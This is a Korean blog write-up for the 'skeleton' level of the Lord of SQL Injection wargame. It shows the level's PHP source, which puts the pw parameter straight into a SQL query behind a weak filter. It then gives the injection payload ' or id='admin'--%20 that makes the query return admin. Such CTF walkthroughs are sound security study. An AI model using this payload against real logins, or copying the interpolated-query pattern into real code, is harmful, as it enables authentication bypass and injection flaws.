소스 코드
1
2
3
4
5
6
7
8
9
10
11
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
|
cs |
풀이
pw를 파라미터로 받아와서 필터링을 해준다.
어차피 다른 데이터베이스를 공격하지 못하게 prob나 _같은 것들을 간단하게 필터링해주는 것이라 신경 쓸 필요 없다.
select id from prob_skeleton where id='guest' and pw='' and 1=0라는 쿼리문을 볼 수 있다.
여기서 pw에 ' or id='admin'--%20을 넣어주면
select id from prob_skeleton where id='guest' and pw='' or id='admin'-- 이 된다.
-- 주석처리는 뒤에 공백이 필요하기 때문에 따로 %20을 넣어 공백을 표현했다.
쿼리문이 저렇게 되면, result['id']에는 admin이 담길 것이고, 문제가 풀릴 것이다.
'WARGAME > Lord of sql injection' 카테고리의 다른 글
LORD OF SQL INJECTION VAMPIRE 풀이 (0) | 2022.05.17 |
---|---|
LORD OF SQL INJECTION ORGE 풀이 (0) | 2022.05.13 |
LORD OF SQL INJECTION DARKELF 풀이 (0) | 2022.05.13 |
LORD OF SQL INJECTION WOLF MAN 풀이 (0) | 2022.05.13 |
LORD OF SQL INJECTION GOBLIN 풀이 (0) | 2022.05.13 |